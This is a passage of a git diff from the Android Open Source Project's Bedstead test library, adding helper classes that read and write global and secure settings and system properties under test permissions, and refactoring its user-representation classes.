+     * See {@link Settings.Global#putString(ContentResolver, String, String)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public void putString(ContentResolver contentResolver, String key, String value) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                INTERACT_ACROSS_USERS_FULL, WRITE_SECURE_SETTINGS)) {
+            Settings.Global.putString(contentResolver, key, value);
+        }
+    }
+
+    /**
+     * Put string to global settings for the given {@link UserReference}.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #putString(ContentResolver, String, String)}
+     */
+    @SuppressLint("NewApi")
+    public void putString(UserReference user, String key, String value) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            putString(key, value);
+            return;
+        }
+
+        putString(sTestApis.context().androidContextAsUser(user).getContentResolver(), key, value);
+    }
+
+    /**
+     * Put string to global settings for the instrumented user.
+     *
+     * <p>See {@link #putString(ContentResolver, String, String)}
+     */
+    public void putString(String key, String value) {
+        try (PermissionContext p = sTestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
+            Settings.Global.putString(
+                    sTestApis.context().instrumentedContext().getContentResolver(), key, value);
+        }
+    }
+
+    /**
+     * See {@link Settings.Global#getInt(ContentResolver, String)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public int getInt(ContentResolver contentResolver, String key) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            return getIntInner(contentResolver, key);
+        }
+    }
+
+    /**
+     * See {@link Settings.Global#getInt(ContentResolver, String, int)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public int getInt(ContentResolver contentResolver, String key, int defaultValue) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            return getIntInner(contentResolver, key, defaultValue);
+        }
+    }
+
+    private int getIntInner(ContentResolver contentResolver, String key) {
+        try {
+            return Settings.Global.getInt(contentResolver, key);
+        } catch (Settings.SettingNotFoundException e) {
+            throw new NeneException("Error getting int setting", e);
+        }
+    }
+
+    private int getIntInner(ContentResolver contentResolver, String key, int defaultValue) {
+        return Settings.Global.getInt(contentResolver, key, defaultValue);
+    }
+
+    /**
+     * Get int from global settings for the given {@link UserReference}.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #getInt(ContentResolver, String)}
+     */
+    @SuppressLint("NewApi")
+    public int getInt(UserReference user, String key) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            return getInt(key);
+        }
+        return getInt(sTestApis.context().androidContextAsUser(user).getContentResolver(), key);
+    }
+
+    /**
+     * Get int from global settings for the given {@link UserReference}, or the default value.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #getInt(ContentResolver, String, int)}
+     */
+    @SuppressLint("NewApi")
+    public int getInt(UserReference user, String key, int defaultValue) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            return getInt(key, defaultValue);
+        }
+        return getInt(
+                sTestApis.context().androidContextAsUser(user).getContentResolver(),
+                key, defaultValue);
+    }
+
+    /**
+     * Get int from global settings for the instrumented user.
+     *
+     * <p>See {@link #getInt(ContentResolver, String)}
+     */
+    public int getInt(String key) {
+        return getIntInner(sTestApis.context().instrumentedContext().getContentResolver(), key);
+    }
+
+    /**
+     * Get int from global settings for the instrumented user, or the default value.
+     *
+     * <p>See {@link #getInt(ContentResolver, String)}
+     */
+    public int getInt(String key, int defaultValue) {
+        return getIntInner(
+                sTestApis.context().instrumentedContext().getContentResolver(), key, defaultValue);
+    }
+
+    /**
+     * See {@link Settings.Global#getString(ContentResolver, String)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public String getString(ContentResolver contentResolver, String key) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            return getStringInner(contentResolver, key);
+        }
+    }
+
+    private String getStringInner(ContentResolver contentResolver, String key) {
+        return Settings.Global.getString(contentResolver, key);
+    }
+
+    /**
+     * Get string from global settings for the given {@link UserReference}.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #getString(ContentResolver, String)}
+     */
+    @SuppressLint("NewApi")
+    public String getString(UserReference user, String key) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            return getString(key);
+        }
+        return getString(sTestApis.context().androidContextAsUser(user).getContentResolver(), key);
+    }
+
+    /**
+     * Get string from global settings for the instrumented user.
+     *
+     * <p>See {@link #getString(ContentResolver, String)}
+     */
+    public String getString(String key) {
+        return getStringInner(sTestApis.context().instrumentedContext().getContentResolver(), key);
+    }
+
+    /**
+     * Reset all global settings set by this package.
+     *
+     * See {@link Settings.Global#resetToDefaults(ContentResolver, String)}.
+     *
+     * <p>The {@code tag} argument is always set to null.
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public void reset(ContentResolver contentResolver) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                WRITE_SECURE_SETTINGS, INTERACT_ACROSS_USERS_FULL)) {
+            Settings.Global.resetToDefaults(contentResolver, /* tag= */ null);
+        }
+    }
+
+    /**
+     * Reset all global settings set by this package for the given user.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * See {@link #reset(ContentResolver)}.
+     */
+    @SuppressLint("NewApi")
+    public void reset(UserReference user) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            reset();
+            return;
+        }
+        reset(sTestApis.context().androidContextAsUser(user).getContentResolver());
+    }
+
+    /**
+     * Reset all global settings set by this package for the instrumented user.
+     *
+     * See {@link #reset(ContentResolver)}.
+     */
+    public void reset() {
+        try (PermissionContext p = sTestApis.permissions().withPermission(WRITE_SECURE_SETTINGS)) {
+            Settings.Global.resetToDefaults(
+                    sTestApis.context().instrumentedContext().getContentResolver(),
+                    /* tag= */null);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/SecureSettings.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/SecureSettings.java
new file mode 100644
index 0000000..b33b402
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/SecureSettings.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.settings;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
+
+import android.annotation.SuppressLint;
+import android.content.ContentResolver;
+import android.os.Build;
+import android.provider.Settings;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Versions;
+
+/** APIs related to {@link android.provider.Settings.Secure}. */
+public final class SecureSettings {
+
+    private static final TestApis sTestApis = new TestApis();
+    public static final SecureSettings sInstance = new SecureSettings();
+
+    private SecureSettings() {
+
+    }
+
+    /**
+     * See {@link Settings.Secure#putInt(ContentResolver, String, int)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public void putInt(ContentResolver contentResolver, String key, int value) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                INTERACT_ACROSS_USERS_FULL, WRITE_SECURE_SETTINGS)) {
+            Settings.Secure.putInt(contentResolver, key, value);
+        }
+    }
+
+    /**
+     * Put int to secure settings for the given {@link UserReference}.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #putInt(ContentResolver, String, int)}
+     */
+    @SuppressLint("NewApi")
+    public void putInt(UserReference user, String key, int value) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            putInt(key, value);
+            return;
+        }
+
+        putInt(sTestApis.context().androidContextAsUser(user).getContentResolver(), key, value);
+    }
+
+    /**
+     * Put int to secure settings for the instrumented user.
+     *
+     * <p>See {@link #putInt(ContentResolver, String, int)}
+     */
+    public void putInt(String key, int value) {
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                WRITE_SECURE_SETTINGS)) {
+            Settings.Secure.putInt(
+                    sTestApis.context().instrumentedContext().getContentResolver(), key, value);
+        }
+    }
+
+    /**
+     * See {@link Settings.Secure#getInt(ContentResolver, String)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public int getInt(ContentResolver contentResolver, String key) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            return getIntInner(contentResolver, key);
+        }
+    }
+
+    /**
+     * See {@link Settings.Secure#getInt(ContentResolver, String, int)}
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public int getInt(ContentResolver contentResolver, String key, int defaultValue) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            return getIntInner(contentResolver, key, defaultValue);
+        }
+    }
+
+    private int getIntInner(ContentResolver contentResolver, String key) {
+        try {
+            return Settings.Secure.getInt(contentResolver, key);
+        } catch (Settings.SettingNotFoundException e) {
+            throw new NeneException("Error getting int setting", e);
+        }
+    }
+
+    private int getIntInner(ContentResolver contentResolver, String key, int defaultValue) {
+        return Settings.Secure.getInt(contentResolver, key, defaultValue);
+    }
+
+    /**
+     * Get int from secure settings for the given {@link UserReference}.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #getInt(ContentResolver, String)}
+     */
+    @SuppressLint("NewApi")
+    public int getInt(UserReference user, String key) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            return getInt(key);
+        }
+        return getInt(sTestApis.context().androidContextAsUser(user).getContentResolver(), key);
+    }
+
+    /**
+     * Get int from secure settings for the given {@link UserReference}, or the default value.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * <p>See {@link #getInt(ContentResolver, String, int)}
+     */
+    @SuppressLint("NewApi")
+    public int getInt(UserReference user, String key, int defaultValue) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            return getInt(key, defaultValue);
+        }
+        return getInt(
+                sTestApis.context().androidContextAsUser(user).getContentResolver(),
+                key, defaultValue);
+    }
+
+    /**
+     * Get int from secure settings for the instrumented user.
+     *
+     * <p>See {@link #getInt(ContentResolver, String)}
+     */
+    public int getInt(String key) {
+        return getIntInner(sTestApis.context().instrumentedContext().getContentResolver(), key);
+    }
+
+    /**
+     * Get int from secure settings for the instrumented user, or the default value.
+     *
+     * <p>See {@link #getInt(ContentResolver, String)}
+     */
+    public int getInt(String key, int defaultValue) {
+        return getIntInner(
+                sTestApis.context().instrumentedContext().getContentResolver(), key, defaultValue);
+    }
+
+    /**
+     * Reset all secure settings set by this package.
+     *
+     * See {@link Settings.Secure#resetToDefaults(ContentResolver, String)}.
+     *
+     * <p>The {@code tag} argument is always set to null.
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public void reset(ContentResolver contentResolver) {
+        Versions.requireMinimumVersion(Build.VERSION_CODES.S);
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                WRITE_SECURE_SETTINGS, INTERACT_ACROSS_USERS_FULL)) {
+            Settings.Secure.resetToDefaults(contentResolver, /* tag= */ null);
+        }
+    }
+
+    /**
+     * Reset all secure settings set by this package for the given user.
+     *
+     * <p>If the user is not the instrumented user, this will only succeed when running on Android S
+     * and above.
+     *
+     * See {@link #reset(ContentResolver)}.
+     */
+    @SuppressLint("NewApi")
+    public void reset(UserReference user) {
+        if (user.equals(sTestApis.users().instrumented())) {
+            reset();
+            return;
+        }
+        reset(sTestApis.context().androidContextAsUser(user).getContentResolver());
+    }
+
+    /**
+     * Reset all secure settings set by this package for the instrumented user.
+     *
+     * See {@link #reset(ContentResolver)}.
+     */
+    public void reset() {
+        try (PermissionContext p = sTestApis.permissions().withPermission(
+                WRITE_SECURE_SETTINGS)) {
+            Settings.Secure.resetToDefaults(
+                    sTestApis.context().instrumentedContext().getContentResolver(),
+                    /* tag= */ null);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/Settings.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/Settings.java
new file mode 100644
index 0000000..d641d21
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/settings/Settings.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.settings;
+
+/** APIs related to {@link android.provider.Settings}. */
+public final class Settings {
+
+    public static final Settings sInstance = new Settings();
+
+    private Settings() {
+
+    }
+
+    /** APIs related to {@link android.provider.Settings.Secure}. */
+    public SecureSettings secure() {
+        return SecureSettings.sInstance;
+    }
+
+    /** APIs related to {@link android.provider.Settings.Global}. */
+    public GlobalSettings global() {
+        return GlobalSettings.sInstance;
+    }
+
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java
new file mode 100644
index 0000000..44b0509
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/systemproperties/SystemProperties.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.systemproperties;
+
+import android.util.Log;
+
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import java.lang.reflect.InvocationTargetException;
+
+/** Test APIs related to setting and getting {@link android.os.SystemProperties}. */
+@Experimental
+public final class SystemProperties {
+
+    private static final String LOG_TAG = "SystemProperties";
+
+    public static final SystemProperties sInstance = new SystemProperties();
+
+    private SystemProperties() {
+
+    }
+
+    /** See {@link android.os.SystemProperties#set(java.lang.String, java.lang.String)}. */
+    public void set(String key, String value) {
+        if (key == null || value == null) {
+            throw new NullPointerException();
+        }
+
+        if (value.equals(get(key))) {
+            Log.i(LOG_TAG, "Setting SystemProperty " + key + " to " + value + " but already set");
+            return;
+        }
+
+        try {
+            // TODO(b/203749299): Remove reflection
+            android.os.SystemProperties.class.getMethod("set", String.class, String.class)
+                    .invoke(null, key, value);
+        } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
+            throw new NeneException("Error setting system property " + key + " to " + value, e);
+        }
+    }
+
+    /** See {@link android.os.SystemProperties#get(java.lang.String)}. */
+    public String get(String key) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.get(key);
+    }
+
+    /** See {@link android.os.SystemProperties#get(java.lang.String, java.lang.String)}. */
+    public String get(String key, String def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.get(key, def);
+    }
+
+    /** See {@link android.os.SystemProperties#getInt(java.lang.String, int)}. */
+    public int getInt(String key, int def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.getInt(key, def);
+    }
+
+    /** See {@link android.os.SystemProperties#getLong(java.lang.String, long)}. */
+    public long getLong(String key, long def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.getLong(key, def);
+    }
+
+    /** See {@link android.os.SystemProperties#getBoolean(java.lang.String, boolean)}. */
+    public boolean getBoolean(String key, boolean def) {
+        if (key == null) {
+            throw new NullPointerException();
+        }
+        return android.os.SystemProperties.getBoolean(key, def);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
similarity index 90%
rename from common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
rename to common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
index e55a09e..31a5772 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUser.java
@@ -20,17 +20,12 @@
 
 import androidx.annotation.Nullable;
 
-import com.android.bedstead.nene.TestApis;
-
 /**
  * Representation of a user on an Android device.
- *
- * <p>{@link User} information represents the state of the device at construction time. To get an
- * updated reflection of the user on the device, see {@link #resolve()}.
  */
-public final class User extends UserReference {
+public final class AdbUser {
 
-    private static final String LOG_TAG = "User";
+    private static final String LOG_TAG = "AdbUser";
 
     /* From UserInfo */
     static final int FLAG_MANAGED_PROFILE = 0x00000020;
@@ -72,11 +67,15 @@
 
     final MutableUser mMutableUser;
 
-    User(TestApis testApis, MutableUser mutableUser) {
-        super(testApis, mutableUser.mId);
+    AdbUser(MutableUser mutableUser) {
         mMutableUser = mutableUser;
     }
 
+    /** Get the id of the user. */
+    public int id() {
+        return mMutableUser.mId;
+    }
+
     /** Get the serial number of the user. */
     public Integer serialNo() {
         return mMutableUser.mSerialNo;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
index a4110ca..2c5a107 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
@@ -21,7 +21,6 @@
 
 import androidx.annotation.Nullable;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 
 import java.util.Map;
@@ -32,14 +31,14 @@
 @TargetApi(Build.VERSION_CODES.O)
 interface AdbUserParser {
 
-    static AdbUserParser get(TestApis testApis, int sdkVersion) {
+    static AdbUserParser get(int sdkVersion) {
         if (sdkVersion >= 31) {
-            return new AdbUserParser31(testApis);
+            return new AdbUserParser31();
         }
         if (sdkVersion >= 30) {
-            return new AdbUserParser30(testApis);
+            return new AdbUserParser30();
         }
-        return new AdbUserParser26(testApis);
+        return new AdbUserParser26();
     }
 
     /**
@@ -48,7 +47,7 @@
      * <p>Values which are not used on the current version of Android will be {@code null}.
      */
     class ParseResult {
-        Map<Integer, User> mUsers;
+        Map<Integer, AdbUser> mUsers;
         @Nullable Map<String, UserType> mUserTypes;
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
index b045921..7a23986 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
@@ -22,7 +22,6 @@
 
 import androidx.annotation.RequiresApi;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 
 import java.util.HashMap;
@@ -89,13 +88,7 @@
 public class AdbUserParser26 implements AdbUserParser {
     static final int USER_LIST_BASE_INDENTATION = 2;
 
-    final TestApis mTestApis;
-
-    AdbUserParser26(TestApis testApis) {
-        if (testApis == null) {
-            throw new NullPointerException();
-        }
-        mTestApis = testApis;
+    AdbUserParser26() {
     }
 
     @Override
@@ -105,12 +98,12 @@
         return parseResult;
     }
 
-    Map<Integer, User> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
+    Map<Integer, AdbUser> parseUsers(String dumpsysUsersOutput) throws AdbParseException {
         String usersList = extractUsersList(dumpsysUsersOutput);
         Set<String> userStrings = extractUserStrings(usersList);
-        Map<Integer, User> users = new HashMap<>();
+        Map<Integer, AdbUser> users = new HashMap<>();
         for (String userString : userStrings) {
-            User user = new User(mTestApis, parseUser(userString));
+            AdbUser user = new AdbUser(parseUser(userString));
             users.put(user.id(), user);
         }
         return users;
@@ -128,10 +121,10 @@
         return extractIndentedSections(usersList, USER_LIST_BASE_INDENTATION);
     }
 
-    User.MutableUser parseUser(String userString) throws AdbParseException {
+    AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
         try {
             String userInfo[] = userString.split("UserInfo\\{", 2)[1].split("\\}", 2)[0].split(":");
-            User.MutableUser user = new User.MutableUser();
+            AdbUser.MutableUser user = new AdbUser.MutableUser();
             user.mName = userInfo[1];
             user.mFlags = Integer.parseInt(userInfo[2], 16);
             user.mId = Integer.parseInt(userInfo[0]);
@@ -141,7 +134,7 @@
                     Boolean.parseBoolean(
                             userString.split("Has profile owner: ", 2)[1].split("\n", 2)[0]);
             user.mState =
-                    User.UserState.fromDumpSysValue(
+                    AdbUser.UserState.fromDumpSysValue(
                             userString.split("State: ", 2)[1].split("\n", 2)[0]);
             user.mIsRemoving = userString.contains("<removing>");
             return user;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
index 83b2c45..a2ed2fa 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java
@@ -22,7 +22,6 @@
 
 import androidx.annotation.RequiresApi;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 
 import java.util.HashMap;
@@ -257,8 +256,8 @@
 
     private Map<String, UserType> mUserTypes;
 
-    AdbUserParser30(TestApis testApis) {
-        super(testApis);
+    AdbUserParser30() {
+        super();
     }
 
     @Override
@@ -272,9 +271,9 @@
     }
 
     @Override
-    User.MutableUser parseUser(String userString) throws AdbParseException {
+    AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
         // This will be called after parseUserTypes, so the user types are already accessible
-        User.MutableUser user = super.parseUser(userString);
+        AdbUser.MutableUser user = super.parseUser(userString);
 
         try {
             user.mIsPrimary = Boolean.parseBoolean(
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
index 4b1b385..d1d5ba0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
@@ -35,17 +35,17 @@
 // TODO(scottjonathan): Replace ADB calls for S with test apis
 public class AdbUserParser31 extends AdbUserParser30 {
 
-    AdbUserParser31(TestApis testApis) {
-        super(testApis);
+    AdbUserParser31() {
+        super();
     }
 
     @Override
-    User.MutableUser parseUser(String userString) throws AdbParseException {
-        User.MutableUser user = super.parseUser(userString);
+    AdbUser.MutableUser parseUser(String userString) throws AdbParseException {
+        AdbUser.MutableUser user = super.parseUser(userString);
 
         if (user.mType.baseType().contains(UserType.BaseType.PROFILE)) {
             try {
-                user.mParent = mTestApis.users().find(
+                user.mParent = TestApis.users().find(
                         Integer.parseInt(userString.split("parentId=")[1].split("[ \n]")[0]));
             } catch (IndexOutOfBoundsException e) {
                 throw new AdbParseException("Error parsing user", userString, e);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
deleted file mode 100644
index 726c6e6..0000000
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.users;
-
-import com.android.bedstead.nene.TestApis;
-
-/**
- * Default implementation of {@link UserReference}.
- *
- * <p>Represents the abstract idea of a {@link User}, which may or may not exist.
- */
-public final class UnresolvedUser extends UserReference {
-    UnresolvedUser(TestApis testApis, int id) {
-        super(testApis, id);
-    }
-
-    @Override
-    public String toString() {
-        return "UnresolvedUser{id=" + id() + "}";
-    }
-}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
index 3172c86..31e2685 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
@@ -25,7 +25,6 @@
 import androidx.annotation.CheckResult;
 import androidx.annotation.Nullable;
 
-import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.utils.ShellCommand;
@@ -38,13 +37,11 @@
  */
 public class UserBuilder {
 
-    private final TestApis mTestApis;
     private String mName;
     private @Nullable UserType mType;
     private @Nullable UserReference mParent;
 
-    UserBuilder(TestApis testApis) {
-        mTestApis = testApis;
+    UserBuilder() {
     }
 
     /**
@@ -141,7 +138,7 @@
                     commandBuilder.validate(ShellCommandUtils::startsWithSuccess)
                             .executeAndParseOutput(
                                     (output) -> Integer.parseInt(output.split("id ")[1].trim()));
-            return new UnresolvedUser(mTestApis, userId);
+            return new UserReference(userId);
         } catch (AdbException e) {
             throw new NeneException("Could not create user " + this, e);
         }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
index 37690e8..aa9343f 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -16,38 +16,65 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.Manifest.permission.CREATE_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.os.Build.VERSION_CODES.R;
+import static android.os.Build.VERSION_CODES.S;
+
+import static com.android.bedstead.nene.users.Users.users;
 
 import android.content.Intent;
+import android.content.pm.UserInfo;
 import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User.UserState;
+import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
-import javax.annotation.Nullable;
+import java.time.Duration;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
 
 /**
  * A representation of a User on device which may or may not exist.
- *
- * <p>To resolve the user into a {@link User}, see {@link #resolve()}.
  */
-public abstract class UserReference implements AutoCloseable {
+public class UserReference implements AutoCloseable {
 
-    private final TestApis mTestApis;
+    private static final Set<AdbUser.UserState> RUNNING_STATES = new HashSet<>(
+            Arrays.asList(AdbUser.UserState.RUNNING_LOCKED,
+                    AdbUser.UserState.RUNNING_UNLOCKED,
